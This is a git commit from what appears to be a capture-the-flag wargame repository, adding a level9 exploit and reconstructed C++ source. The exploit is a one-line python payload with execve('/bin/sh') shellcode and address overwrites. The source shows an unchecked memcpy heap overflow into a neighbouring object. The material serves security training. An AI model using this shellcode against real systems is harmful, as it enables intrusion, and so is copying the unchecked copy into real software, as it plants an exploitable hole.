fix: bunch of meaningless chars in the walkthrough/source code

level9: done (wip - walkthrough)

level9/ressources/exploit

@@ -0,0 +1 @@
+./level9 $(python -c 'print "\x11\xa0\x04\x08" + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80" + "A"*79 + "\x0c\xa0\x04\x08"')

level9/source.cpp

@@ -0,0 +1,44 @@
+#include <cstring>
+#include <stdlib.h>
+
+class N
+{
+      public:
+	char annotation[100];
+	int nb;
+
+	N(int Nb)
+	{
+		nb = Nb;
+	}
+
+	void setAnnotation(char *str)
+	{
+		memcpy(annotation, str, strlen(str));
+	}
+
+	int operator+(N const &e)
+	{
+		return nb + e.nb;
+	}
+
+	int operator-(N const &e)
+	{
+		return nb - e.nb;
+	}
+};
+
+int main(int ac, char **av)
+{
+	if (ac <= 1)
+		exit(1);
+
+	N *a = new N(5);
+	N *b = new N(6);
+
+	N *a_ptr = a;
+	N *b_ptr = b;
+	a_ptr->setAnnotation(av[1]);
+
+	return *b_ptr + *a_ptr;
+}